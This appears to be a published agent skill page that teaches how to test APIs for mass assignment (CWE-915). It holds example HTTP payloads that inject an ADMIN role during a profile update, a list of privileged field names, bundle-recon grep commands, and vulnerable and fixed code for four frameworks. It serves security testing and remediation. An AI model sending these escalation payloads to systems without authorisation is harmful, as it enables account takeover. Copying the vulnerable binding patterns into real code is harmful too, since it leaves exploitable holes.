# Mass Assignment Cwe 915

> How to find and exploit mass assignment vulnerabilities (CWE-915) for privilege escalation. Use this skill whenever you need to test APIs for insecure object binding, when analyzing self-service endpoints like /api/users/{id} or /profile, when you see JSON responses echoing server-managed fields like roles, isAdmin, status, or permissions, or when you want to enumerate bindable schema from client bundles. Make sure to use this skill for any API security testing involving user profile updates, order modifications, or any PUT/PATCH endpoints that accept JSON bodies.

- Skill: `abelrguezr/mass-assignment-cwe-915` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/mass-assignment-cwe-915`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/mass-assignment-cwe-915/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/mass-assignment-cwe-915

---


# Mass Assignment (CWE-915) Testing

Mass assignment (insecure object binding) occurs when an API binds user-supplied JSON directly to server-side models without field allow-listing. This enables privilege escalation by setting fields like `roles`, `isAdmin`, `status`, or ownership attributes.

## Quick Start

1. **Find candidate endpoints** - Look for self-service update routes
2. **Enumerate schema** - Send safe update, observe response structure
3. **Test exploitation** - Add privileged fields to request body
4. **Verify access** - Re-authenticate and check for elevated privileges

## 1. Finding Mass Assignment Candidates

### Target Endpoints

Focus on self-service update endpoints:
- `PUT/PATCH /api/users/{id}`
- `PATCH /me`, `PUT /profile`
- `PUT /api/orders/{id}`
- `POST /api/settings`
- Any endpoint that updates user-owned resources

### Heuristics That Indicate Vulnerability

- Response echoes server-managed fields (`roles`, `status`, `isAdmin`, `permissions`) even when not sent
- Client bundles contain role names/IDs or privileged attribute names
- Backend accepts unknown fields without rejection
- Framework uses automatic binding (Rails, Laravel, Django ORM, Spring/Jackson, Express/Mongoose)

### Schema Enumeration

Send a normal update with only safe fields to reveal the full schema:

```http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
  "id": 12934,
  "email": "user@example.com",
  "firstName": "Sam",
  "lastName": "Curry"
}
```

**Analyze the response** - Look for fields you didn't send:
```json
{
  "id": 12934,
  "email": "user@example.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "roles": null,           // ← Server-managed field
  "status": "ACTIVATED", // ← Server-managed field
  "filters": []
}
```

## 2. Exploitation - Role Escalation

Once you identify bindable privileged fields, include them in your update request:

```http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
  "id": 12934,
  "email": "user@example.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "roles": [
    { "id": 1, "description": "ADMIN role", "name": "ADMIN" }
  ]
}
```

**If successful:**
- Response persists the role change
- Re-authenticate or refresh tokens to realize new privileges
- Check for new UI elements, admin endpoints, or elevated permissions

### Common Privileged Fields to Test

```
roles, role, role_id, roleIds
isAdmin, is_admin, admin, admin_flag
status, account_status, user_status
permissions, permission_ids, feature_flags
owner_id, team_id, organization_id
verified, is_verified, email_verified
balance, credit, points, currency
```

## 3. Client Bundle Recon

Extract role names, IDs, and schema hints from JavaScript bundles:

```bash
# Basic role enumeration
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

# Find role constants and dropdowns
grep -oE '"(role|admin|permission|status)[^"]*"' app.*.js | sort -u

# Look for numeric role IDs
grep -oE 'role.*[0-9]+' app.*.js | head -20

# Find DTO/model shapes
grep -oE 'role.*:.*\{[^}]+\}' app.*.js | head -10
```

**What to look for:**
- Role name constants (ADMIN, STAFF, MODERATOR)
- Dropdown option lists with role values
- Validation schemas showing expected field names
- API client code showing request/response shapes

## 4. Framework-Specific Patterns

### Node.js (Express + Mongoose)

**Vulnerable:**
```js
app.put('/api/users/:id', async (req, res) => {
  const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
  res.json(user);
});
```

**Test:** Send `roles` or `isAdmin` in body - if persisted, vulnerable.

**Fix:** Use allow-list extraction:
```js
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
```

### Ruby on Rails

**Vulnerable:**
```ruby
def update
  @user.update(params[:user]) # roles/is_admin can be set by client
end
```

**Test:** Include `role` or `is_admin` in params - if persisted, vulnerable.

**Fix:** Strong parameters:
```ruby
def user_params
  params.require(:user).permit(:first_name, :last_name, :nick_name)
end
```

### Laravel (Eloquent)

**Vulnerable:**
```php
protected $guarded = []; // Everything mass-assignable
```

**Test:** Send any field in JSON body - if persisted, vulnerable.

**Fix:** Explicit fillable:
```php
protected $fillable = ['first_name', 'last_name', 'nick_name'];
```

### Spring Boot (Jackson)

**Vulnerable:**
```java
public User update(@PathVariable Long id, @RequestBody User u) {
  return repo.save(u);
}
```

**Test:** Send `roles` or `admin` fields - if persisted, vulnerable.

**Fix:** Use DTO with only allowed fields:
```java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
```

## 5. Testing Workflow

### Step-by-Step Process

1. **Identify endpoints** - Find all PUT/PATCH routes that update user resources
2. **Baseline request** - Send update with only safe fields, capture full response
3. **Schema analysis** - Note all server-managed fields in response
4. **Payload crafting** - Build test payloads with each privileged field
5. **Exploitation attempt** - Send crafted payloads, check if changes persist
6. **Verification** - Re-authenticate, check for elevated access
7. **Documentation** - Record vulnerable endpoints and payloads

### Quick Test Script

Use the `scripts/find-mass-assignment-fields.sh` script to extract potential target fields from client bundles:

```bash
./scripts/find-mass-assignment-fields.sh <bundle-file.js>
```

## 6. Reporting

When documenting mass assignment vulnerabilities:

1. **Endpoint** - Full URL and HTTP method
2. **Vulnerable fields** - List of fields that can be modified
3. **Impact** - What privileges can be escalated (e.g., user → admin)
4. **Proof of concept** - Request/response showing exploitation
5. **Remediation** - Framework-specific fix recommendations

## References

- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
- [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
- [FIA Driver Categorisation: Admin Takeover via Mass Assignment](https://ian.sh/fia)

